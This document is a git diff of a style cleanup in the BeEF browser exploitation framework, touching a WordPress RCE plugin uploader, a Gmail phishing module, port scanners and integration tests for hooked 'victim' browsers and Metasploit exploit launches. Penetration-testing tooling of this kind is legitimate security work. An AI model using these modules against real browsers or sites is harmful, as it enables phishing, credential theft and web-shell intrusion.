- configuration = BeEF::Core::Configuration.instance - proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' - hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html" + # configuration = BeEF::Core::Configuration.instance + # proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' + # hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html" # @todo why is this commented out? [ # {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri }, @@ -31,7 +31,7 @@ def pre_send File.open('./modules/host/hook_default_browser/bounce_to_ie.pdf', 'r') do |original_hook_file| original_hook_file.each_line do |line| # If the line includes the hook token, then replace it with the actual hook URI - line = line.sub(//, hook_uri) if line.include? '' + line = line.sub('', hook_uri) if line.include? '' # write the line to a new file configured_hook_file.write(line) end diff --git a/modules/misc/raw_javascript/module.rb b/modules/misc/raw_javascript/module.rb index 1e3cd12200..3ef49242d3 100644 --- a/modules/misc/raw_javascript/module.rb +++ b/modules/misc/raw_javascript/module.rb @@ -6,7 +6,7 @@ class Raw_javascript < BeEF::Core::Command def self.options [ - { 'name' => 'cmd', 'description' => 'Javascript Code', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", + { 'name' => 'cmd', 'description' => 'Javascript Code', 'ui_label' => 'Javascript Code', 'value' => "alert('BeEF Raw Javascript');\nreturn 'It worked!';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px' } ] end diff --git a/modules/misc/wordpress/add_user/module.rb b/modules/misc/wordpress/add_user/module.rb index b621e35dc7..fd598063bd 100644 --- a/modules/misc/wordpress/add_user/module.rb +++ b/modules/misc/wordpress/add_user/module.rb @@ -11,7 +11,7 @@ class Wordpress_add_user < WordPressCommand def self.options - super() + [ + super + [ { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' }, { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) }, { 'name' => 'email', 'ui_label' => 'Email', 'value' => '' }, diff --git a/modules/misc/wordpress/upload_rce_plugin/module.rb b/modules/misc/wordpress/upload_rce_plugin/module.rb index b4e3042c56..ca48cb79bf 100644 --- a/modules/misc/wordpress/upload_rce_plugin/module.rb +++ b/modules/misc/wordpress/upload_rce_plugin/module.rb @@ -23,7 +23,7 @@ def self.generate_zip_payload(auth_key) zio.put_next_entry('beefbind.php') file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s - file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key)) + file_content.gsub!('#SHA1HASH#', Digest::SHA1.hexdigest(auth_key)) zio.write(file_content) end @@ -35,14 +35,14 @@ def self.generate_zip_payload(auth_key) # Escape payload to be able to put it in the JS payload.each_byte do |byte| - escaped_payload << ("\\#{'x%02X' % byte}") + escaped_payload << "\\#{'x%02X' % byte}" end escaped_payload end def self.options - super() + [ + super + [ { 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) } ] end diff --git a/modules/network/fetch_port_scanner/module.rb b/modules/network/fetch_port_scanner/module.rb index 9eeac586da..0432afffdf 100644 --- a/modules/network/fetch_port_scanner/module.rb +++ b/modules/network/fetch_port_scanner/module.rb @@ -20,7 +20,7 @@ def post_execute configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true - session_id = @datastore['beefhook'] + @datastore['beefhook'] # @todo log the network service # will need to once the datastore is confirmed. diff --git a/modules/network/get_http_servers/module.rb b/modules/network/get_http_servers/module.rb index ce5eb9e996..921510db83 100644 --- a/modules/network/get_http_servers/module.rb +++ b/modules/network/get_http_servers/module.rb @@ -28,7 +28,7 @@ def post_execute proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) - url = Regexp.last_match(4) + Regexp.last_match(4) session_id = @datastore['beefhook'] if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]") diff --git a/modules/network/internal_network_fingerprinting/module.rb b/modules/network/internal_network_fingerprinting/module.rb index b63e9070a1..f4b3f9b8a4 100644 --- a/modules/network/internal_network_fingerprinting/module.rb +++ b/modules/network/internal_network_fingerprinting/module.rb @@ -29,7 +29,7 @@ def post_execute ip = Regexp.last_match(2) port = Regexp.last_match(3) discovered = Regexp.last_match(4) - url = Regexp.last_match(5) + Regexp.last_match(5) session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found '#{discovered}' [ip: #{ip}]") diff --git a/modules/social_engineering/gmail_phishing/module.rb b/modules/social_engineering/gmail_phishing/module.rb index e0c603d52a..f75d353f2c 100644 --- a/modules/social_engineering/gmail_phishing/module.rb +++ b/modules/social_engineering/gmail_phishing/module.rb @@ -17,7 +17,7 @@ def self.options [ { 'name' => 'xss_hook_url', 'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, ' \ - 'simply leave this field empty, but this means you will loose the hooked browser after executing this module.', + 'simply leave this field empty, but this means you will loose the hooked browser after executing this module.', 'ui_label' => 'XSS hook URI', 'value' => xss_hook_url, 'width' => '300px' }, { @@ -29,7 +29,7 @@ def self.options }, { 'name' => 'wait_seconds_before_redirect', 'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) ' \ - 'before we redirect to the real Gmail page, so that BeEF gets the credentials in time.', + 'before we redirect to the real Gmail page, so that BeEF gets the credentials in time.', 'ui_label' => 'Redirect delay (ms)', 'value' => wait_seconds_before_redirect, 'width' => '100px' diff --git a/test/integration/tc_debug_modules.rb b/test/integration/tc_debug_modules.rb index eda7f642e2..03f389f65f 100644 --- a/test/integration/tc_debug_modules.rb +++ b/test/integration/tc_debug_modules.rb @@ -27,9 +27,9 @@ class TC_DebugModules < Test::Unit::TestCase def test_1_restful_auth response = RestClient.post "#{RESTAPI_ADMIN}/login", { 'username' => "#{BEEF_USER}", - 'password' => "#{BEEF_PASSWD}"}.to_json, - :content_type => :json, - :accept => :json + 'password' => "#{BEEF_PASSWD}" }.to_json, + content_type: :json, + accept: :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) @@ -42,45 +42,46 @@ def test_1_restful_auth def test_2_restful_hooks BeefTest.new_victim sleep 5.0 - response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}} + response = RestClient.get "#{RESTAPI_HOOKS}", { params: { token: @@token } } assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) - @@hb_session = result["hooked-browsers"]["online"]["0"]["session"] + @@hb_session = result['hooked-browsers']['online']['0']['session'] assert_not_nil @@hb_session end # Test RESTful API modules handler, retrieving the IDs of the 3 debug modules currently in the framework def test_3_restful_modules - response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}} + response = RestClient.get "#{RESTAPI_MODULES}", { params: { token: @@token } } assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) result.each do |mod| - case mod[1]["class"] - when "Test_return_long_string" - @@mod_debug_long_string = mod[1]["id"] - when "Test_return_ascii_chars" - @@mod_debug_ascii_chars = mod[1]["id"] - when "Test_network_request" - @@mod_debug_test_network = mod[1]["id"] - end + case mod[1]['class'] + when 'Test_return_long_string' + @@mod_debug_long_string = mod[1]['id'] + when 'Test_return_ascii_chars' + @@mod_debug_ascii_chars = mod[1]['id'] + when 'Test_network_request' + @@mod_debug_test_network = mod[1]['id'] + end end assert_not_nil @@mod_debug_long_string assert_not_nil @@mod_debug_ascii_chars assert_not_nil @@mod_debug_test_network end + # ## Test debug module "Test_return_long_string" using the RESTful API def test_return_long_string - repeat_string = "BeEF" + repeat_string = 'BeEF' repeat_count = 20 response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}?token=#{@@token}", { 'repeat_string' => repeat_string, - 'repeat' => repeat_count}.to_json, - :content_type => :json, - :accept => :json + 'repeat' => repeat_count }.to_json, + content_type: :json, + accept: :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) @@ -105,13 +106,14 @@ def test_return_long_string assert_not_nil data assert_equal (repeat_string * repeat_count),data end + # ## Test debug module "Test_return_ascii_chars" using the RESTful API def test_return_ascii_chars response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}?token=#{@@token}", {}.to_json, # module does not expect any input - :content_type => :json, - :accept => :json + content_type: :json, + accept: :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) @@ -124,16 +126,16 @@ def test_return_ascii_chars #TODO if the response is empty, the body size is 2, basically an empty Hash. # don't know why empty?, nil and other checks are not working. while(response.body.size <= 2 && count < 10) - response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}" - sleep 2 - count += 1 + response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}" + sleep 2 + count += 1 end assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) data = JSON.parse(result['0']['data'])['data'] assert_not_nil data - ascii_chars = "" + ascii_chars = '' (32..127).each do |i| ascii_chars << i.chr end assert_equal ascii_chars,data end @@ -143,10 +145,10 @@ def test_return_network_request # Test same-origin request (response code and content of secret_page.html) response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}?token=#{@@token}", - #override only a few parameters, the other ones will have default values from modules's module.rb definition - {"domain" => ATTACK_DOMAIN, "port" => "3000", "path" => "/demos/secret_page.html"}.to_json, - :content_type => :json, - :accept => :json + #override only a few parameters, the other ones will have default values from modules's module.rb definition + { 'domain' => ATTACK_DOMAIN, 'port' => '3000', 'path' => '/demos/secret_page.html' }.to_json, + content_type: :json, + accept: :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) @@ -169,8 +171,8 @@ def test_return_network_request result = JSON.parse(response.body) data = JSON.parse(result['0']['data'])['data'] assert_not_nil data - assert_equal 200, JSON.parse(data)["status_code"] - assert JSON.parse(data)["port_status"].include?("open") + assert_equal 200, JSON.parse(data)['status_code'] + assert JSON.parse(data)['port_status'].include?('open') end end diff --git a/test/integration/tc_dns_rest.rb b/test/integration/tc_dns_rest.rb index 6ce656ca9d..4a6483ac1d 100644 --- a/test/integration/tc_dns_rest.rb +++ b/test/integration/tc_dns_rest.rb @@ -13,8 +13,8 @@ class TC_DnsRest < Test::Unit::TestCase class << self def startup - json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json - @@headers = {:content_type => :json, :accept => :json} + json = { username: BEEF_USER, password: BEEF_PASSWD }.to_json + @@headers = { content_type: :json, accept: :json } response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@ -46,7 +46,7 @@ def test_1_add_rule_good resource = 'A' dns_response = ['1.2.3.4'] - json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json + json = { pattern: pattern, resource: resource, response: dns_response }.to_json rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", json, @@ -76,7 +76,7 @@ def test_2_add_rule_bad resource = 'A' dns_response = ['1.1.1.1'] - hash = {:pattern => pattern, :resource => resource, :response => dns_response} + hash = { pattern: pattern, resource: resource, response: dns_response } # Test that an empty "pattern" key returns 400 assert_raise RestClient::BadRequest do @@ -381,7 +381,7 @@ def check_dns_response(regex, type, pattern) address = @@config.get('beef.extension.dns.address') port = @@config.get('beef.extension.dns.port') - dig_output = IO.popen(["dig", "@#{address}", "-p", "#{port}", "-t", "#{type}", "#{pattern}"], 'r+').read + dig_output = IO.popen(['dig', "@#{address}", '-p', "#{port}", '-t', "#{type}", "#{pattern}"], 'r+').read assert_match(regex, dig_output) end diff --git a/test/integration/tc_network_rest.rb b/test/integration/tc_network_rest.rb index 799b2b1578..4ce3f7863f 100644 --- a/test/integration/tc_network_rest.rb +++ b/test/integration/tc_network_rest.rb @@ -17,8 +17,8 @@ def startup $:.unshift($root_dir) # login and get api token - json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json - @@headers = {:content_type => :json, :accept => :json} + json = { username: BEEF_USER, password: BEEF_PASSWD }.to_json + @@headers = { content_type: :json, accept: :json } response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@ -30,16 +30,16 @@ def startup # create hooked browser and get session id BeefTest.new_victim sleep 5.0 - response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}} + response = RestClient.get "#{RESTAPI_HOOKS}", { params: { token: @@token } } result = JSON.parse(response.body) - @@hb_session = result["hooked-browsers"]["online"]["0"]["session"] + @@hb_session = result['hooked-browsers']['online']['0']['session'] # Retrieve Port Scanner module command ID - response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}} + response = RestClient.get "#{RESTAPI_MODULES}", { params: { token: @@token } } result = JSON.parse(response.body) result.each do |mod| if mod[1]['class'] == 'Port_scanner' - @@mod_port_scanner = mod[1]["id"] + @@mod_port_scanner = mod[1]['id'] break end end @@ -52,9 +52,9 @@ def startup 'closetimeout' => 1100, 'opentimeout' => 2500, 'delay' => 600, - 'debug' => false}.to_json, - :content_type => :json, - :accept => :json + 'debug' => false }.to_json, + content_type: :json, + accept: :json result = JSON.parse(response.body) success = result['success'] @@cmd_id = result['command_id'] @@ -72,7 +72,7 @@ def test_port_scanner_results rest_response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}/#{@@cmd_id}?token=#{@@token}" check_rest_response(rest_response) result = JSON.parse(rest_response.body) - raise "Port Scanner module failed to identify any open ports" unless result.to_s =~ /Port 3000 is OPEN/ + raise 'Port Scanner module failed to identify any open ports' unless result.to_s =~ /Port 3000 is OPEN/ end # Tests GET /api/network/hosts handler @@ -89,7 +89,7 @@ def test_get_all_hosts def test_get_hosts_valid_session rest_response = nil assert_nothing_raised do - rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{@@hb_session}", :params => {:token => @@token}) + rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{@@hb_session}", params: { token: @@token }) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) @@ -107,7 +107,7 @@ def test_get_hosts_invalid_session session_id = 'z' rest_response = nil assert_nothing_raised do - rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{session_id}", :params => {:token => @@token}) + rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{session_id}", params: { token: @@token }) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) @@ -120,7 +120,7 @@ def test_get_host_valid_id id = 1 rest_response = nil assert_nothing_raised do - rest_response = RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token}) + rest_response = RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", params: { token: @@token }) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) @@ -132,7 +132,7 @@ def test_get_host_valid_id def test_get_hosts_invalid_id id = 'z' assert_raise RestClient::ResourceNotFound do - RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token}) + RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", params: { token: @@token }) end end @@ -151,7 +151,7 @@ def test_get_all_services def test_get_services_valid_session rest_response = nil assert_nothing_raised do - rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{@@hb_session}", :params => {:token => @@token}) + rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{@@hb_session}", params: { token: @@token }) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) @@ -169,7 +169,7 @@ def test_get_services_invalid_session session_id = 'z' rest_response = nil assert_nothing_raised do - rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{session_id}", :params => {:token => @@token}) + rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{session_id}", params: { token: @@token }) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) @@ -182,7 +182,7 @@ def test_get_service_valid_id id = 1 rest_response = nil assert_nothing_raised do - rest_response = RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token}) + rest_response = RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", params: { token: @@token }) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) @@ -194,7 +194,7 @@ def test_get_service_valid_id def test_get_services_invalid_id id = 'z' assert_raise RestClient::ResourceNotFound do - RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token}) + RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", params: { token: @@token }) end end diff --git a/test/integration/tc_social_engineering_rest.rb b/test/integration/tc_social_engineering_rest.rb index 9bf75ea93b..a37bce2174 100644 --- a/test/integration/tc_social_engineering_rest.rb +++ b/test/integration/tc_social_engineering_rest.rb @@ -15,8 +15,8 @@ class << self # Login to API before performing any tests def startup - json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json - @@headers = {:content_type => :json, :accept => :json} + json = { username: BEEF_USER, password: BEEF_PASSWD }.to_json + @@headers = { content_type: :json, accept: :json } response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@ -48,7 +48,7 @@ def test_1_dns_spoof mount = '/beefproject' dns_spoof = true - json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json + json = { url: url, mount: mount, dns_spoof: dns_spoof }.to_json domain = url.gsub(%r{^https?://}, '') @@ -61,19 +61,19 @@ def test_1_dns_spoof # Send DNS request to server to verify that a new rule was added dns_address = @@config.get('beef.extension.dns.address') dns_port = @@config.get('beef.extension.dns.port') - dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t", - "A", "+short", "#{domain}"], 'r+').read.strip! + dig_output = IO.popen(['dig', "@#{dns_address}", '-p', "#{dns_port}", '-t', + 'A', '+short', "#{domain}"], 'r+').read.strip! foundmatch = false # Iterate local IPs (excluding loopbacks) to find a match to the 'dig' # output assert_block do - Socket.ip_address_list.each { |i| - if !(i.ipv4_loopback? || i.ipv6_loopback?) - return true if i.ip_address.to_s.eql?(dig_output.to_s) - end - } + Socket.ip_address_list.each { |i| + if !(i.ipv4_loopback? || i.ipv6_loopback?) + return true if i.ip_address.to_s.eql?(dig_output.to_s) + end + } end # assert(foundmatch) diff --git a/test/integration/tc_webrtc_rest.rb b/test/integration/tc_webrtc_rest.rb index 1c5f9bac09..bf2b133a01 100644 --- a/test/integration/tc_webrtc_rest.rb +++ b/test/integration/tc_webrtc_rest.rb @@ -15,8 +15,8 @@ class << self # Login to API before performing any tests - and fetch config too def startup - json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json - @@headers = {:content_type => :json, :accept => :json} + json = { username: BEEF_USER, password: BEEF_PASSWD }.to_json + @@headers = { content_type: :json, accept: :json } response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@ -44,16 +44,16 @@ def startup sleep 8.0 # Fetch last online browsers' ids - rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_HOOKS}", { params: { + token: @@token } } result = JSON.parse(rest_response.body) - browsers = result["hooked-browsers"]["online"] + browsers = result['hooked-browsers']['online'] browsers.each_with_index do |elem, index| if index == browsers.length - 1 - @@victim2id = browsers["#{index}"]["id"].to_s + @@victim2id = browsers["#{index}"]['id'].to_s end if index == browsers.length - 2 - @@victim1id = browsers["#{index}"]["id"].to_s + @@victim1id = browsers["#{index}"]['id'].to_s end end @@ -72,12 +72,12 @@ def test_1_webrtc_check_for_two_hooked_browsers rest_response = nil assert_nothing_raised do - rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_HOOKS}", { params: { + token: @@token } } end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - browsers = result["hooked-browsers"]["online"] + browsers = result['hooked-browsers']['online'] assert_not_nil browsers assert_operator browsers.length, :>=, 2 end @@ -88,32 +88,32 @@ def test_2_webrtc_establishing_p2p rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/go?token=#{@@token}", - {:from => @@victim1id, :to => @@victim2id, :verbose => "true"}.to_json, + { from: @@victim1id, to: @@victim2id, verbose: 'true' }.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - assert_equal true, result["success"] + assert_equal true, result['success'] sleep 30.0 rest_response = nil assert_nothing_raised do - rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_LOGS}", { params: { + token: @@token } } end check_rest_response(rest_response) result = JSON.parse(rest_response.body) loghitcount = 0 - result["logs"].reverse.each {|l| + result['logs'].reverse.each {|l| # Using free-space matching mode /x below to wrap regex. # therefore need to escape spaces I want to check, hence the \ regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\ message\ from\ Browser:(#{@@victim1id}|#{@@victim2id}) :\ ICE\ Status:\ connected/x) - loghitcount += 1 if (not regex.match(l["event"]).nil?) and - (l["type"].to_s.eql?("WebRTC")) + loghitcount += 1 if (not regex.match(l['event']).nil?) and + (l['type'].to_s.eql?('WebRTC')) } assert_equal 2, loghitcount end @@ -124,34 +124,34 @@ def test_3_webrtc_send_msg # assumes test 2 has run rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}", - {:from => @@victim1id, :to => @@victim2id, - :message => "RTC test message"}.to_json, + { from: @@victim1id, to: @@victim2id, + message: 'RTC test message' }.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - assert_equal true, result["success"] + assert_equal true, result['success'] sleep 10.0 rest_response = nil assert_nothing_raised do - rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_LOGS}", { params: { + token: @@token } } end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_block do - result["logs"].reverse.each {|l| + result['logs'].reverse.each {|l| # Using free-space matching mode /x below to wrap regex. # therefore need to escape spaces I want to check, hence the \ regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\ message\ from\ Browser: (#{@@victim1id}|#{@@victim2id}) :\ RTC\ test\ message/x) - return true if (not regex.match(l["event"]).nil?) and - (l["type"].to_s.eql?("WebRTC")) + return true if (not regex.match(l['event']).nil?) and + (l['type'].to_s.eql?('WebRTC')) } end end @@ -162,20 +162,20 @@ def test_4_webrtc_stealthmode # assumes test 2 has run # Test our two browsers are still online rest_response = nil assert_nothing_raised do - rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_HOOKS}", { params: { + token: @@token } } end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - online = result["hooked-browsers"]["online"] + online = result['hooked-browsers']['online'] assert_block do online.each {|hb| - return true if hb[1]["id"].eql?(@@victim1id) + return true if hb[1]['id'].eql?(@@victim1id) } end assert_block do online.each {|hb| - return true if hb[1]["id"].eql?(@@victim2id) + return true if hb[1]['id'].eql?(@@victim2id) } end @@ -184,28 +184,28 @@ def test_4_webrtc_stealthmode # assumes test 2 has run rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}", - {:from => @@victim1id, :to => @@victim2id, - :message => "!gostealth"}.to_json, + { from: @@victim1id, to: @@victim2id, + message: '!gostealth' }.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - assert_equal true, result["success"] + assert_equal true, result['success'] sleep 40.0 #Wait until that browser is offline. # Test that the browser is now offline rest_response = nil assert_nothing_raised do - rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_HOOKS}", { params: { + token: @@token } } end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - offline = result["hooked-browsers"]["offline"] + offline = result['hooked-browsers']['offline'] assert_block do offline.each {|hb| - return true if hb[1]["id"].eql?(@@victim2id) + return true if hb[1]['id'].eql?(@@victim2id) } end @@ -213,28 +213,28 @@ def test_4_webrtc_stealthmode # assumes test 2 has run rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}", - {:from => @@victim1id, :to => @@victim2id, - :message => "!endstealth"}.to_json, + { from: @@victim1id, to: @@victim2id, + message: '!endstealth' }.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - assert_equal true, result["success"] + assert_equal true, result['success'] sleep 10.0 # Wait until browser comes back # Test that the browser is now online rest_response = nil assert_nothing_raised do - rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { - :token => @@token}} + rest_response = RestClient.get "#{RESTAPI_HOOKS}", { params: { + token: @@token } } end check_rest_response(rest_response) result = JSON.parse(rest_response.body) - online = result["hooked-browsers"]["online"] + online = result['hooked-browsers']['online'] assert_block do online.each {|hb| - return true if hb[1]["id"].eql?(@@victim2id) + return true if hb[1]['id'].eql?(@@victim2id) } end diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index bc415b46bc..406f418b1c 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -28,7 +28,7 @@ class TS_BeefIntegrationTests def self.suite - suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite") + suite = Test::Unit::TestSuite.new('BeEF Integration Test Suite') suite << TC_CheckEnvironment.suite suite << TC_Login.suite suite << TC_DebugModules.suite diff --git a/test/thirdparty/msf/unit/tc_metasploit.rb b/test/thirdparty/msf/unit/tc_metasploit.rb index 0bd2bd0291..0119f2f1a2 100644 --- a/test/thirdparty/msf/unit/tc_metasploit.rb +++ b/test/thirdparty/msf/unit/tc_metasploit.rb @@ -9,8 +9,8 @@ class TC_Metasploit < Test::Unit::TestCase def setup - $root_dir="../../../../" - $:.unshift File.join( %w{ ../../../../ } ) + $root_dir='../../../../' + $:.unshift File.join(%w{ ../../../../ }) require 'core/loader' end @@ -97,7 +97,7 @@ def test_exploit_info assert_nothing_raised do info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom') end - assert( info['name'].nil? != true) + assert(info['name'].nil? != true) end def test_get_options @@ -107,7 +107,7 @@ def test_get_options assert_nothing_raised do info = @api.get_options('windows/dcerpc/ms03_026_dcom') end - assert( info['RHOST'].nil? != true) + assert(info['RHOST'].nil? != true) end def test_payloads @@ -117,18 +117,18 @@ def test_payloads assert_nothing_raised do payloads = @api.payloads end - assert( payloads.length > 5 ) + assert(payloads.length > 5) end def test_launch_exploit new_api @api.login - opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080} + opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080 } ret = nil assert_nothing_raised do ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts) end - assert(ret['job_id'] != nil ) + assert(ret['job_id'] != nil) end def test_launch_autopwn @@ -138,6 +138,6 @@ def test_launch_autopwn assert_nothing_raised do ret = @api.launch_autopwn end - assert(ret['job_id'] != nil ) + assert(ret['job_id'] != nil) end end diff --git a/test/thirdparty/msf/unit/ts_metasploit.rb b/test/thirdparty/msf/unit/ts_metasploit.rb index 52f4d2db8c..fc936a9694 100644 --- a/test/thirdparty/msf/unit/ts_metasploit.rb +++ b/test/thirdparty/msf/unit/ts_metasploit.rb @@ -11,7 +11,7 @@ require 'msfrpc-client' rescue LoadError puts "The following instruction failed: require 'msfrpc-client'" - puts "Please run: sudo gem install msfrpc-client" + puts 'Please run: sudo gem install msfrpc-client' exit end @@ -21,7 +21,7 @@ class TS_BeefTests def self.suite - suite = Test::Unit::TestSuite.new(name="BeEF Metasploit Test Suite") + suite = Test::Unit::TestSuite.new('BeEF Metasploit Test Suite') suite << TC_CheckEnvironment.suite suite << TC_Metasploit.suite @@ -30,4 +30,3 @@ def self.suite end Test::Unit::UI::Console::TestRunner.run(TS_BeefTests) - diff --git a/tools/csrf_to_beef/csrf_to_beef b/tools/csrf_to_beef/csrf_to_beef index ec8017bfd0..c09ea0aadf 100755 --- a/tools/csrf_to_beef/csrf_to_beef +++ b/tools/csrf_to_beef/csrf_to_beef @@ -7,7 +7,7 @@ $VERSION = '0.0.3' # @note Ruby version check # if RUBY_VERSION =~ /^1\.[0-8]/ - puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or newer." + puts 'Ruby version ' + RUBY_VERSION + ' is not supported. Please use Ruby 1.9 or newer.' exit 1 end @@ -25,27 +25,27 @@ require './lib/module' def usage puts "CSRF to BeEF module tool v#{$VERSION}, create a BeEF CSRF module from file or URL." puts - puts "Usage: ./csrf_to_beef [options] --name <--url=URL|--file=FILE>" + puts 'Usage: ./csrf_to_beef [options] --name <--url=URL|--file=FILE>' puts - puts "Options:" - puts " -h, --help Help" - puts " -v, --verbose Verbose output" - puts " -n, --name NAME BeEF module name" - puts " -u, --url URL CSRF URL" - puts " -m, --method METHOD CSRF HTTP method (GET/POST)" - puts " -d, --post-data DATA CSRF HTTP POST data" - puts " -f, --file FILE Burp CSRF PoC file" + puts 'Options:' + puts ' -h, --help Help' + puts ' -v, --verbose Verbose output' + puts ' -n, --name NAME BeEF module name' + puts ' -u, --url URL CSRF URL' + puts ' -m, --method METHOD CSRF HTTP method (GET/POST)' + puts ' -d, --post-data DATA CSRF HTTP POST data' + puts ' -f, --file FILE Burp CSRF PoC file' puts - puts "Example Usage:" + puts 'Example Usage:' puts - puts " CSRF URL:" - puts " ./csrf_to_beef --name \"example csrf\" 